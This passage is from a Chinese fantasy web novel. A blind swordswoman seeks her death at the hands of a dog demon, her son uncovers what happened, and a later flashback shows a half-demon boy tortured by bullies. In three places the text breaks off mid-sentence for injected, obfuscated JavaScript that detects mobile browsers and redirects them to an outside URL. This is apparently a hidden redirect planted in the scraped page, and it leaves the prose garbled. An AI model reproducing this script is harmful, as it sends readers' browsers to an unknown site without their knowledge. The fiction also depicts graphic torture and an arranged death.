曾经的她是何等骄傲而风光的人物,怎会轻易向人示弱。在崔岫、在别人面前,她从来都是顶天立地,早就习惯逞强。即便上一刻才失足跌倒,下一刻也要咬牙从地上爬起,装出毫不费力的模样。 然而身体每况愈下,她实在无法接受毫无尊严地苟延残喘,而如今感觉到自己大限将至,骄傲如她,也断然无法接受这样的死法。 她想起师父曾对她说的话,“我们无法选择自己的出身,但能选择怎样活着,又为什么赴死。” 崔岫已长大成人,她已经没有牵挂,只剩下曾经的念想在支撑着她。 遇见小犬妖的那日,她正准备结束自己的生命,未想连最后要走都不太顺利体面,难以言喻的挫败绝望淹没了她。 而小犬妖在这时主动送上了门。 她一开始确实认错了人,生命最后一刻还遇见亲人,令她难以自制地落泪,便顺势进行最后的道别。 而后来发现对方其实是妖,她第一反应是惊喜——她终于能达成夙愿——她要在除妖途中赴死。 她一直在等着妖怪按捺不住露出獠牙,未想到对方始终犹豫不决,甚至只是一只弱小胆怯的妖,可能手上还未沾过人血。 或许换个对象会是更好的解决方法,可是她支撑不住了。无奈之下,只得由她亲自开这个口。 即便这到最后其实只是自欺欺人,但于她而言是无论如何都必须要完成的事。 崔大娘将自己的故事娓娓道来,小犬妖听完沉默良久,还有些不情愿,但迫于压力,只得点头。 “决斗日”选在一个下雨天,与崔大娘的师父仙逝那日是相同的天气。 她取出了那枚准备多时的符箓,用仅存的灵力拍在自己身上,召出许久未用的剑。 这枚符箓,能短暂激发身体潜能。双目复明时,世界再次呈现于眼前,她又控制不住地落泪。幸得这漫天飘落的雨丝遮掩,让她不至于在小犬妖面前丢脸。 她终于看清喊了她许多日“娘亲”的小妖长的什么模样。 土黄色的毛发,耷拉的兽耳,微微下垂的眼尾,棕黑色的鼻头。 明明是只妖,却弱小得可怜,在她的逼视之下甚至不敢抬头,连尾巴都垂着,紧紧夹了起来。 这是弱者面对强敌时的本能反应,令她一下子回想起自己少时面对那只大妖时,也是如此胆怯,畏缩不前。 她对将要杀死自己的对手不满,也对过去的自己不满,当即眉心紧蹙,毫不留情地讥嘲: “原来只是一条狗,难怪那么听话,是不是还要对敌人摇起尾巴?” 留给她的时间不多了,她不敢浪费,话音落下当即刺出一剑。 此时她的修为远不及巅峰,小犬妖却像她从前对付那只大妖一样,只知一味闪躲。 她恨铁不成钢,出招愈加凌厉,沉声怒斥:“没用的东西,只会躲吗?这样下去,你要如何杀我?” “我本来就打不过你啊!”小犬妖被打得几乎是抱头鼠窜,即使被这样嘲讽,也只是懦弱地觉得委屈。 崔大娘气得发笑:“知道自己打不过,那就不打了吗?连尝试的勇气都没有,怎么这么废物!” “……”小犬妖闷声不吭。 察觉到符箓的加持效果快要维持不住,崔大娘逐渐心焦,边打边骂,毫不手软,打得犬妖浑身挂彩,毛发掉了一地。 “既然你杀不死我,那便成为我的剑下亡魂,随我一起下去吧!” 身体已快到极限,崔大娘杀红了眼,见对方指望不上,便决意赴死之前最后斩杀一只妖物。 她用尽最后气力,猛地提剑刺去,剑影如虹,锐不可当。若是击中,犬妖必死无疑。 未想到,变故陡生。 本该瘫软在地、乖乖受死的犬妖,忽然激烈挣扎起来,翻滚着后撤退开。 随后,一团白光笼罩,犬妖竟是化为庞大兽形,足有半人之高,猛地仰头嘶吼一声,随即像是一条凶恶的狼般朝她扑咬! 猝不及防之下,她的剑竟被獠牙夺去,甩飞半空。而她没有武器傍身,自然无法招架,很快也被扑倒在地,锋锐獠牙瞬间咬穿了她脆弱纤细的脖颈。 鲜血再度喷溅脸上,与当初感受到的温度相同,混着冰凉雨水,令她无法自制地颤抖。 视野如夜色降临般一寸寸灰暗下去,她仰着脸,在朦胧雨幕之中,似乎又看见一抹熟悉的身影。 白衣胜雪,身姿俊秀,执剑挡在她身前,温柔而坚定地告诉她:“不要怕。” 她忍不住笑了,慢慢闭上眼。 “师父,我不怕了。” * “谢兄,谢兄!好巧啊,你们怎么也在这里?” 谢妄之一行人继续北上,本以为就此与崔岫擦肩而过,未想到竟是在城镇偶遇。 此处是北荒境内最大的城镇,扶摇。一条大河穿城而过,沿岸商铺鳞次栉比,街上熙熙攘攘,行人摩肩接踵,叫卖吆喝声不绝于耳。 人潮之中,崔岫身形高大,背上那把大刀格外惹眼,刀鞘别具一格,火焰般的形状与色泽,还发着赤红的光,艳丽而热烈,叫人印象深刻。 少年似是刚买了什么东西,双臂挽起,健壮的胳膊里各夹着一个大包的油纸,稍稍走近些,一股水果与鲜花混合的醉人香气立即扑鼻而来。 隔着大老远的距离,崔岫眼尖看见他们,惊喜地一挑眉,随即大步流星过来,打量了眼他们:“真没想到会在这里遇见你们,你们也是来买水晶糕的吗?” 司尘微笑着挥手打了个招呼,池无月没有反应。 “什么水晶糕?”谢妄之眉峰微挑。 其实他们三人姿容卓绝,走在街上也是相当惹眼,人群甚至隐隐自发避开些,崔岫想不看见他们都难。 “就是这个呀!”崔岫爽朗一笑,侧身将夹在胳膊里的油纸包往前一递,示意他朝里头看。 谢妄之顺势瞥了眼,只见油纸包里是一团团晶莹剔透的糕点,挨挨挤挤一片,被雕成各种花卉的模样,小巧玲珑,精致可爱。那股混合的清甜香气变得浓郁了些,实在诱人垂涎。 店家本来应该帮崔岫把油纸封好,但他买得太多了,口封不住,只能这么敞着。 谢妄之浅淡应了声“哦”,崔岫又侧身让了让位置,露出后面一家糕点铺子,店门口列着条长龙,都是排队等着买的顾客,男女老少都有,看来受众甚广,生意火爆。 “看,人最多的那家。”崔岫朝后边轻抬了抬下颌,“那家店开好久了,每次人都特别多,要排队好久才能买到。这次我天还未亮就来了,还是排了足足一个时辰才到我,差点就卖完了。” “什么味儿?甜的?”谢妄之眉峰微挑,有些意外,“你这么喜欢么?” “哈哈哈,不是我爱吃啦,虽然它确实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726756|155977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味道不错,但我是给我娘买的。” 崔岫哈哈一笑,轻轻摇头,“我娘很喜欢吃这些,我每次出远门再回去,都要特意给她捎点。她老是说她不喜欢吃,让我别带了,但其实我每次给她带,她都能全部吃完。唉,喜欢就说嘛,真受不了她。” “对了谢兄,你们要是现在去买,肯定是买不到了,我反正买了挺多,这包就给你们吧。”说着,崔岫立即把其中一包油纸递过来。 “不必,谢了。”谢妄之轻轻摇头,又蹙起眉,“你还没回去么?” “啊?”崔岫一怔,有些不解,“是啊,怎么了?” “……”谢妄之薄唇微抿,轻摇了下头,“没事,你快些回家吧。” “哦哦。”崔岫应了声,模样有些憨,“但是我还要去买些药材。我娘身体不好,每天都得喝药,不知道家里还有没有剩。” “嗯,那你快去。” “是要现在去。”崔岫应了声,忽然用手肘轻捅了捅他,“话都说到这了,谢兄,你们若是有闲暇,要不要上我家坐坐?我娘烧饭很好吃,你口味重,一定会喜欢的。而且她也是修剑的,她年轻时候可厉害了。” “……你们关系很好么?”谢妄之不置可否。 “当然了,难道还有不好的么?”崔岫不解,“我小的时候生重病,被我亲生父母扔了,要不是我娘捡了我,我早就被妖怪吃了。她一个人把我养这么大,很辛苦的……谢兄,怎么了?” 大概是见他面色不佳,崔岫说着说着就停了下来。 “没,就是挺羡慕的。”谢妄之轻勾了下唇角,眼中却无甚笑意,“既然你都邀请我了,那就走吧。” “好,那跟我走吧。家里来了这么多客人,我娘也会高兴的。” * 买了药材之后,崔岫拎着大包小包,带谢妄之几人乘坐马车回家,天渐渐下起雨。 “谢兄,你别看我这样,其实我娘对我好严格的。我修炼若是偷懒,她毫不心慈手软,提剑就揍我,我被揍最惨的那次,足足在榻上躺了三天,幸亏我皮糙肉厚。” “她老是跟我说,‘人要知道自己为什么活着’,问我活着的意义是什么。谢兄,你说这我答得上来么?” 崔岫一如既往地话密,不厌其烦地说了他娘亲一路,看来感情相当深厚,羡煞旁人。 对此谢妄之和池无月没什么表示,全程安静听着。司尘则缩小身形坐在谢妄之肩膀,靠着他的脖颈昏昏欲睡。 其实谢妄之对这一段剧情印象不深,也只是粗略知道崔岫家里出了事,而具体是什么事,他并不清楚。 他是相当傲慢自我的人,从来都是更关心自己,鲜少在意别人的感受。 就是现在那话本摆在他面前,未来所有事无巨细写得清清楚楚,他也只会翻阅有关自己的部分,其余都是顺带,能记得多少也是纯看运气。 而崔岫越说自己娘亲,他越是好奇,心中不好的预感也越是强烈。 不多时,马车驶过空无一人的街道,停在一座小院前。 “娘,我回来啦!看我给你带了什么!” 崔岫下了马车,把东西拢在怀中,用自己的身体挡雨,大步往屋中去,同时扬声喊人。却喊了好几句都没听见应。 他在屋中转来转去,只觉家里一切正常,好像与他离家之前并无分别,就是没见着人。 直到他在某处捡到一根黑木拐杖,面色陡然发白,手上没拿稳,拐杖“咚”一声砸落在地。 “怎么了?”帮着找的谢妄之几人闻声赶来。 “我、我娘生病,眼睛看不见,除了在家里,她去哪儿都要带着这根拐杖。”崔岫伸手捂住头,声音微哑,似是哽咽,“但是,现在我找不到她……” “你先别急。”心中不好的预感达到顶峰,谢妄之竟跟着有些紧张,但也只能先把人稳住。 而司尘开口道:“屋里有妖气,很微弱,但分布均匀稳定,像是在这里待了一段时间。难道是你娘认识的什么妖族朋友来过么?” “不可能。”崔岫很快摇头否定,“我从未听我娘说起过。而且我娘早年四处斩妖除魔……坏了,莫非是来寻仇!” 崔岫自言自语,很快得出“结论”,猛地抬头看向司尘:“司尘兄,你能闻到这股妖气往哪儿去了么?” 司尘没有马上答应,先看了眼谢妄之,见他轻轻颔首才道:“嗯,跟我来。”话落便率先往出走。 几人跟着司尘很快来到一片荒地。 只见不远处,一只半人高的犬妖在刨土,它边上躺着一人,身上沾染大片血污。 崔岫立即认出那躺着的正是自己娘亲,浑身立时如坠冰窖。 下一刻,他猛地拔出大刀,身影一闪,朝犬妖劈了下去! 16.第 16 章 “嗷!” 犬妖停下刨土,飞快往旁边一闪,冲崔岫凶狠龇牙,喉里滚出威胁的闷响。 下一瞬,大刀劈砍在它原先的位置,地面闪过火光,现出一道深长沟壑,险些就要破坏崔大娘的遗体。 “娘!” 见状,崔岫赶忙收了刀,大步抢上前要将娘亲的遗体夺回。 未想到,犬妖猝然猛扑了上来,一口狠狠咬在他的胳膊! “滚开!” 崔岫大怒,双目赤红,几乎失了理智。他疯狂甩手,另手扬拳一下一下砸在犬妖头颅。 可这畜生被他打得头破血流,土黄色毛发都被血液浸润,甚至颅骨都要碎裂,怎么都不肯松嘴。 “崔岫,冷静些——” 别人的家事不好贸然插手,谢妄之几人便在旁观战。他注意到犬妖的行为有些异常,便出声提醒。 但他话未说完便被崔岫低吼着打断:“我娘被只畜生咬死了,你让我怎么冷静!” 话音落下,死死咬着他的犬妖竟松了嘴,踉踉跄跄往后跌坐下来,趴在地上吐着舌头喘气。 崔岫赶忙扑到他娘亲身边,把人抱起一看,发现遗体的胸口贴了张橙黄符纸,不由一怔,随即抬头看向仍趴在一边、还不知道跑的犬妖,以及犬妖刨了一半的土坑。 他记得这张符纸,娘亲时时刻刻带在身上,还未失明时,她便时常把这张符纸拿出来翻看,嘴里一直念叨着“师父”。 那时他尚年幼,曾好奇问过几句,而娘亲不吝回答说,这张符纸是她师父唯一留下的东西,能短暂激发身体潜能,提升修为,关键时刻或许可以保命。 他天真地问:“既然知道自己打不过,那逃跑不行吗?” 娘亲面色微沉,抬手作势要打他,半途又停下来,轻叹了口气道:“是啊,打不过可以逃。可若是你非打不可,无处可逃呢?若你身后是手无寸铁的百姓、是你爱的亲人,你也要逃吗?” 之后,或许是因为他问出这种问题,让娘亲觉得自己教育方针出了差错,便时常拷问他,“你活着的意义是什么”。 那时他不过是个涉世未深的孩子,对生活并无太多感悟,也没有什么远大志向,哪里答得出什么高深东西,只好勉勉强强回了个“斩妖除魔”。 娘亲紧接着问:“那你愿意为了斩妖除魔去死吗?” 因幼时生过重病,在鬼门关转了一圈,崔岫深知死亡的重量与可怖。他犹豫了。 身为修士,他却这样贪生怕死,本以为娘亲又要打他,可娘亲只是低头看那张符纸,轻声道:“若能让我选择,我只愿意这样去死。” 回忆到此处,崔岫冷静下来,也发现了犬妖的异常行为。 千百年来,人类与妖魔总是对立,因其能通过吞噬人类增长修为,绝大多数的妖魔都是凶恶的。便是偶有一两只还未为恶的妖,一般修士也会秉持宁可错杀、不可放过的原则,驱除所有妖邪,如此更是恶性循环。 但眼前这只犬妖并未将娘亲的遗体吞噬,甚至为她刨了土坑,似是要将她安葬。明明这样弱小,为了保护娘亲的遗体还是勇敢向他扑咬。 此时,小犬妖终于缓过劲,连忙挣扎着爬起来为自己辩解:“听我解释!是你娘亲要求我杀了她的!” “我如何相信你?”虽然心中已有猜测,但崔岫无法尽信,咬牙再度握紧了刀,“……我娘已经死了。” “真的!”面对那把大刀,犬妖慌乱起来,瑟瑟发抖地小步往后退,“她跟我说了她师父的事,说她也想和师父一样死在妖魔手下。我、我本来是想等她死了再吃了她的,但是她对我好……” 它怕得甚至语无伦次,却让崔岫停住动作,神色挣扎。 “司尘,”在一旁观看许久的谢妄之忽然出声,“你有办法么?” “当然。” 蝶妖很快明白他的意思,当即振翅朝小犬妖飞去。 淡金眼眸掺了血色,转为橙红,似落日熔金。小犬妖警惕地往后退,但与蝶妖对视一眼便松懈,乖乖趴到了地上。 紧接着,司尘轻轻挥手,犬妖的眉心发出一道光芒,周遭场景似水面泛起涟漪,再平静时,众人已进入由犬妖记忆构建的幻境。 若要知道真相,探查犬妖的记忆是最直接的方法,最快捷的便是搜魂之术。 但此法风险极高,被搜魂者通常极度抗拒,结果轻则精神紊乱,重则殒命。施术者若是控制不当,也会遭受反噬。除此之外,此法还涉及些伦理道德问题,正派修士不会轻易使用。 而司尘擅长幻术,想要探查犬妖的记忆不需如此麻烦。 犬妖的记忆以幻境形式再现,从四处漂泊流浪到意外来到这座边陲小镇、扶起崔大娘的拐杖,再到小心隐瞒妖族身份与崔大娘融洽相处,最后被崔大娘打得节节败退,又受到鼓舞,在生死关头终于暴起反杀,助其达成夙愿。 一切清清楚楚,犬妖并未说谎。崔岫良久沉默,终于缓缓放下刀,抬手捂住脸。 之后,崔岫好生安葬了母亲。而犬妖竟也全程陪同,崔岫怎么赶都不肯走。他一举起拳头,犬妖就跑,过会儿又慢慢靠过来,躲在角落。毛发脏兮兮的都是血,尾巴紧紧夹着,可怜委屈的模样。 重复几个来回之后,再见到犬妖时,崔岫高举起的拳头缓慢放下来,朝它走了过去。看见犬妖又想跑,他只好站在原地,招了招手,别扭道:“跑什么?过来,带你上医馆看看去。” 犬妖似是有些意外,但最终是慢腾腾挪过来。 谢妄之站在远处看着,浅淡勾了下嘴角。 在提醒崔岫归家时,他以为崔岫即将遭遇的只是一个寻常的、每日都会上演的悲剧,未想到其中还有这样的故事,他也能理解崔大娘的想法。 虽然崔岫未能阻止,但崔大娘是为毕生追求赴死,结局并不算差。 就算只是话本中无足轻重的人物,他们也都有自己的想法与追求。 就算他分不清这是否是话本里早就写好的结局,甚至连这所谓的毕生追求,都受话本设定的命运摆布。 那又如何? 他们并非束手就擒。 看到崔岫俯身去摸犬妖的脑袋时,谢妄之忽然感觉到身上有一种强烈的被窥视感。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14752172|155977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他依凭直觉猛地抬头,却只是见到被雨洗净的天空。一瞬之后,那种感觉荡然无存。 不可名状,无法探查。 他只好捺下异样,留待日后观察。 身后的池无月与他反应一致,见他抬头,眸色微深。 * 崔岫还有些事要处理,几人分道扬镳,临行前,对方硬是把一包水晶糕都塞给了谢妄之,但谢妄之不爱吃甜,又丢给身后两人。 司尘虽然不吃,但他喜欢水晶糕的香味,就那么抱着,一路时不时低头深深嗅一口。 在酒楼用饭时,谢妄之又听到了些有关临光村几百口人被妖魔屠戮,而白家见死不救的传闻。 上次他们只是刚刚进入白家的地盘,可这次是在北荒最大最繁华的城镇,几乎就在白家眼皮子底下。 谢妄之眯眼回忆从前到白家游学时的经历,只觉大堂里几个公然谈论此事的人勇气可嘉。 未想到高手还在后头。 只见一人吊儿郎当坐在角落,翘着腿,不屑摆手道:“那算什么?” 他一副知道很多内情的模样,很快吸引众人目光,边上立刻有人追问道:“这位兄台有何高见?” 人都被吸引过来了,他却开始装作为难,摇摇头道:“这可是白家的秘密,我要是说出去,怕是活不到明日咯。” 众人道:“你放心,我们不会说出去的。” 这很明显是不负责任的玩笑话,那人浑不在意地摆手笑了笑,接着压低嗓音道: “原来你们都不知道么?白家家主夫人是只妖,生下的儿子也是只妖。老婆孩子都是妖怪了,他心能向着我们么?怕是早就与妖邪勾结在一起咯。” “啊?闻所未闻,真的假的?” “难怪最近这种事情越来越多,诶我跟你们说,不只是临光村出事,还有……” 大堂瞬间乱做一锅粥。而方才坐在靠角落的那人则神不知鬼不觉地,从酒楼侧门出去了。 片刻,忽有一人惨叫出声,身子倒飞出去,“砰”一声砸在墙上,接着是一阵桌椅倒地、瓷器碎裂的混乱声响。 谢妄之朝下一看,原是几个白家的人进了酒楼,听见人们在说什么,当即面色铁青,竟毫不犹豫地出手伤人。 大堂立时更为混乱,人群作鸟兽散。 被打的那人当即爬起来跪地求饶,边上两个白家人似乎还不解气,一把拽起他的衣领,扬拳要打,却被一道声音阻止: “住手!” 两人止住动作,回身朝出声的方向恭敬行礼。 只见酒楼门口先后进来两人,相貌有些许相似,年纪也相仿。 出声的那个大步走至打人的白家子弟身边,扬手一人扇了一巴掌,神色恼怒。 而后进门的那个表情淡漠,一身雪衣,干净出尘得仿若天上仙人。 他扫了眼堂中,似是提不起兴趣,转身要走。忽然一顿,抬眸望向二楼,与谢妄之对上视线。 谢妄之眉峰微挑,轻勾了下嘴角算是打过招呼。 未想对方立即蹙眉,明显的嫌恶之色。 17.第 17 章 眼见人头也不回地出了酒楼,谢妄之怔了一下,霍然起身,抓起司尘放在桌上的那包水晶糕大步追出去。 谁知就差那么一会儿,那抹白影跟凭空消失了似的,他四处找不见。沿岸又找了会儿,谢妄之兴头过了,打算回去。 未想一转身,正见一人站在一盏灯笼之下,沉默地看他。白衣墨发,长身玉立,气质清冷如雪,便是顶上投下橘红的暖光,也不能将他焐热半分。 正是他找的人,白家二公子,白青崖,是他去白家游学时认识的。 “有这么讨厌我么?一看见我就想走。”谢妄之眉峰一挑,笑着上前。 “……还来找我做什么。”对方移开视线,长睫低垂,嗓音也如落雪一般冷。 “难道不做什么,就不能找你了么?”谢妄之哼笑了声,把手里的油纸包递出去,“给你。” 白青崖站着不动,眉心微蹙:“这是什么?” “水晶糕啊。”谢妄之下颌微抬,示意对方快些拿走,“你不是喜欢吃甜么?难道是我记错了?” “……”白青崖眼睫微颤,藏在袖中的手指轻轻蜷了一下,有些犹豫,默了会儿又问,“你买的?” “这倒不是,朋友送的。但是我们都不吃,不能浪费,正好给你了。”谢妄之说着又将油纸包往前送了送,几乎递到对方怀中。 未想到,白青崖闻言面色陡沉,接着猝然伸手,狠狠将油纸包拍落在地。 那油纸包本就没封口,水晶糕当即掉出来,一团团的撒了一地,晶莹剔透的表面沾染尘土,变得污浊,不能吃了。 谢妄之猝不及防,见状不由怔了一下,也沉下脸:“不吃就不吃,你干什么?” “谢妄之,你还真是一点没变。”白青崖眉心紧蹙,看他的眼神愈发冷,毫不掩饰的厌恶,“难道我是你养的狗吗?你不要了的东西,统统丢给我。” “……爱要不要,随便你。”谢妄之看人一会儿,气笑了,毫不犹豫转身就走。 等他走远,过了片刻,白青崖半跪下身,将散落的水晶糕一个个收拾起来。 确实是朋友送的,这油纸包上除了谢妄之的气味还有别人的,杂乱得令人恶心,跟围在谢妄之身边的人一样。 他从来都不重要,可有可无。谢妄之对他的好,也从来都是一时兴起,毫无耐心,比六月的雨还要随意。 这次也一样。片刻找不到他,就不愿找了。他就是犯贱才会心急到自己出来。 收拾到一半,白青崖顿了顿,还是挑拣出一个干净的水晶糕放进嘴里。 ……不好吃。一点也不。 * “公子方才去了哪里?” 谢妄之还未回到酒楼,先在半路遇见了池无月和司尘,这两人追出来找他。 注意到谢妄之双手空落落的,显然将那包水晶糕送给了谁,池无月眸色微沉。 司尘也有些不高兴,沉默地缩小身形坐上谢妄之肩膀,离他脖子远了些。但过会儿又慢慢挪过去。 谢妄之本来懒得答,忽然想到什么,嗤笑了声道:“去喂狗。” “……”池无月垂下眼,“公子方才走得匆忙,白家大公子来找过您,让奴替他向公子问好。” “嗯,本公子好得很。他还说什么了?” “白家于下月初开放游学,”池无月顿了顿,微微侧头看了眼身后,见空无一物,眼眸眯起,不动声色地续道,“白大公子询问您是否要参与。” 世家之间通常会相互邀请,从这个意义上来说,游学其实算是上门做客。下月初开始,算算至少还有半月。 “哦。可是他家有只狗好凶,会咬人,太可怕了。”谢妄之笑了声,夸张地搓了下手臂,微微提高了些音量,“你跟他说,我要考虑一下。” “……是。” 见到投落在地的某道影子微微一顿,随后隐没在黑暗中,池无月攥紧手指,眸色更深。 * 之后几日,谢妄之带着俩人在城中四处转了转,买了好些甜食。甚至池无月还被叫去买水晶糕,天还未亮就得去排队。 辛辛苦苦买回来,谢妄之却一口不吃,尽逮着过路的小孩子分出去,收获好几声又脆又甜的“谢谢神仙哥哥”。 他一连分了十来天,后来有几个孩子已经跟他混熟了,见到谢妄之就边喊着“神仙哥哥”边凑上来抱他大腿。谢妄之微笑应了,伸手摸了一圈圆脑袋。 与此同时,不出所料,当日在酒楼散播谣言的人都被神不知鬼不觉地处理了。众人心照不宣,没再把那些东西搬到明面上。 等到白家正式开放游学的前一晚,谢妄之要钓的鱼终于上钩了。 暮色四合,烛火幽微。 谢妄之沐浴完坐在桌边擦头发,面前摆着一包拆封的油纸袋,清甜的香气混着冷淡的木香在屋中弥漫。 他今天没去街上分水晶糕。另两人知道他要做什么,也只是敢怒不敢言。 不知过去多久,半阖的窗扇忽然被人从外打开,一道白影翻了进来,站在窗下,气质清泠如雪,一双眼隔着道高大屏风,落在坐于桌边的人身上。 “你倒是挑了个好时候。”谢妄之早就闻见声音,懒散支着头,隔着屏风与人对视,“怎么不过来?” “……”那道身影顿了顿,缓步绕出屏风,坐在他身边。正是白青崖。 谢妄之忍俊不禁,伸手将桌上的油纸袋往人面前推。半途忽然停下,惊呼了声道:“啊,差点忘了,这是我家小奴隶买的,我还尝过了,你肯定不吃,算了。” 说着他便作势将油纸袋拿回。忽有一只手伸过来,抓着油纸袋边缘将他制止。 他顺势停下,双目紧盯着对方,恶劣地勾唇道:“怎么,你是我养的狗吗?我不吃了的东西你也要?” “……” 面前人身体微僵,皙白脸颊与耳廓逐渐漫上绯色,侧头避开视线,薄唇紧抿,手却还抓着。 谢妄之笑了声,终于大发慈悲放过对面,轻抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他的目光不由自主凝在衣物遮掩的深处,随即很快又注意到对方半湿的黑发将雪色中衣洇出深色痕迹。衣领微敞,露出半片胸膛,肌肉紧致饱满,在烛火映衬之下仿佛浇了层蜜。 空气中清甜的花果香与冷淡的木香交织着侵入鼻腔,嗅之如饮酒,头脑都晕眩,竟令他一时间分不出两者谁更令人有食欲。 他又看向谢妄之的脸。 许是因为刚刚沐浴,脸颊染上薄红,未擦干的湿发还在滴水,沿着锋利颌角淌落脖颈。衬着英俊眉目,显出难言的欲色。 这副模样的谢妄之,他曾经见过。那时谢妄之正和裴云峰待在一起,微仰着头,眸光涣散,没注意到他。 他喉头滚了滚,犹豫了会儿正要张嘴,谢妄之却先没了耐心,把手抽回:“不吃就算了——” 谢妄之话未说完,一只手忽然紧扣住他手腕,猝不及防间,水晶糕从指尖滚落,取而代之的是两片干燥冰凉的唇。 他微微一怔,没有立刻把手抽回,那两片唇便轻轻开合,得寸进尺地含住了他的指尖,触感湿热柔软,仿佛将他的手指当作那团坠落的水晶糕。 22-30 第22章 他被困在名为谢妄之的笼…… 用晚饭时本该是所有学生一起,但裴云峰给谢妄之单独开了小灶。酒足饭饱之后,他们避开众人沿路闲逛,走进后山一片树林。 这里埋藏着很多回忆。 十六岁时,他们二人第一次来白家游学。 尽管出门前兄长耳提面命,要他游学时好好遵守白家的规矩,还特别叮嘱他不要欺负别人。但谢妄之特立独行——或者说随心所欲惯了,不服管,还以一己之力“孤立”了当时的同窗。 他在同龄人中的风评两极分化,裴云峰倒是走到哪儿都被人追捧。他不爱参与团体活动,但被裴云峰带着,多多少少也混了点。 向来是规矩最多、管最严的地方,越容易有离经叛道的人和事。那些稀奇的玩意儿,包括那本龙阳图册,便是在白家游学时看到的,就是在这片小树林里。 与此同时,谢妄之还在这片树林里第一次遇见白青崖。 令人意想不到的是,如今尊贵的白家二公子,在十四岁时,只是一个任何人都可以随意欺凌的下贱弃子。 据说白青崖的母亲是只妖,生下的孩子血脉不纯,是最下贱的东西,为整个修仙界所不耻。分明也是世家公子,却连白家的下人都随意怠慢他,根本不管他死活,族人也当他不存在。 那时,谢妄之逃了课,躲进后山树林里偷闲。一伙人吵吵嚷嚷来到他窝着的树下,将他扰醒。 那些是来自其他世家的纨绔子弟,向来横行霸道,欺软怕硬,初到白家游学相当不适应,憋了一肚子怒气准备找人发泄,随后很快就瞅准了合适的目标。 一群人将一个身形瘦小的少年围在中间,一口一个“小废物”、“小妖怪”地不停讥笑着将他推来搡去,动作随意粗鲁,还对他提出些过分无理的要求。 少年生着一头乌亮的长发,却没有打理,凌乱披散着,过长的额发甚至遮住大半张脸,身材矮小瘦削,瞅着就轻飘飘的,没两下就被推倒在地。 他挣扎着想爬起来,撑在地上的手却立刻被人踩在脚下,鞋跟抵着他的手指,毫不留情充满恶意地来回碾动。 皙白手指很快被碾出一片青紫,甚至破皮渗血。那鞋底沾了尘灰,肮脏又粗糙,粗鲁地压着伤处来回碾,痛感愈加强烈鲜明。 “唔——” 少年想抽出手,力气却不敌。始终挣扎不出,只能死死咬着唇,倔强地试图憋住呻吟,可惜喉里还是漏出了声。 “啧,没听说他是个哑巴呀,怎么不会叫啊。”踩着他的人不满蹙眉,又加大力道,试图迫他惨叫。 “没听过他说话。”同伙们摇头。 其中忽有一人兴致勃勃道:“我听说这种会化人形的妖怪,妖力都凝聚在头发和指甲上,要是把头发和指甲……我们试试?” 大概是说出来显得太残忍,他只用眉毛轻挑示意。而众人也都明白他的意思,纷纷露出残忍的笑,随即不约而同行动起来。 “给我起来!” 几人扯着少年的胳膊将他制住,还有人薅起他的头发,迫使他抬起头。 少年被迫露出脸,空气诡异地静默了一瞬,随即有人呸了声:“他长这样,不就说明他是妖怪吗?哪有男的长成这样?” 另一人催促道:“哎别废话,试试不就知道了。” 话音落下,他递了个眼色,一群人便开始动作,竟打算生生撕扯下少年的头发与指甲! “呃——” 少年惊恐睁大眼,头皮被撕扯着迫他后仰起脖颈,像是被困在笼中的幼兽,拼命疯狂挣扎,喉里滚出威胁意味的沉闷嘶吼,却只是徒劳地消耗力气与精力。 “叫啊,叫大声点!”这几人毫无怜悯之心,听他惨叫反而愈发兴奋,根本不打算收手。 少年的头发已被撕扯下好几缕,双手十指也传来剜心之痛,求生的本能令他一瞬爆发,却也只是将众人掀开,飞快往林子深处逃窜。 未想半途被石子绊倒,猛地扑在一棵树下,还没来得及爬起来,又很快被人追上。 “跑啊,怎么不跑了?哈哈哈……” 纨绔们踩着他血淋淋的手指碾磨,又继续撕扯着他的头发,嚣张地放声大笑,在静谧的林中显得尤为刺耳。 而恰在此时,头顶忽传来一道低沉嗓音:“不想死就滚。” 随即,几枚冰锥随话音凭空射下,一瞬间同时贯穿了所有人的手掌,而后立时蒸发,血液如泉喷涌,笑声戛然而止。 “谁、是谁!有本事出来!” 众人捧着手惊恐抬头,一面胡乱放着狠话,一面东张西望,却四处找不见出手的人,赶忙往后退,不一会儿尽数逃了。 等人走个干净,跌倒在地的少年才慢慢爬起来,低哑着嗓音对空气道:“谢谢你……” 坐在树上的谢妄之垂眼一看,只见少年头发凌乱,浑身脏污,头皮裸露几处,双手十指血淋淋一片,指甲翻起,暴露底下的柔嫩皮肉,情形惨不忍睹。 他忍不住蹙眉,从树上轻飘飘落到对方眼前。 还没说话,倒先把少年吓了一跳,猛地往后急退几步,而后一屁股跌坐下来,双手十指按在地上。似乎又蹭到伤处,少年竟一下没忍住,眼泪汹涌而下,喉里呜咽出声。 谢妄之:“……” 他走近几步,本想把人拉起来,可一看对方那惨状,又不知从何下手,只好蹲下道:“喂,你没事吧?” “没、呜,呜呜——” 少年摇头,却开始抽噎,哭得双肩上下耸动,浑身都发抖。分明方才被欺负惨了都没哭,这会儿却哭得怎么都停不下来,仿佛谢妄之才是那个欺负他的人。 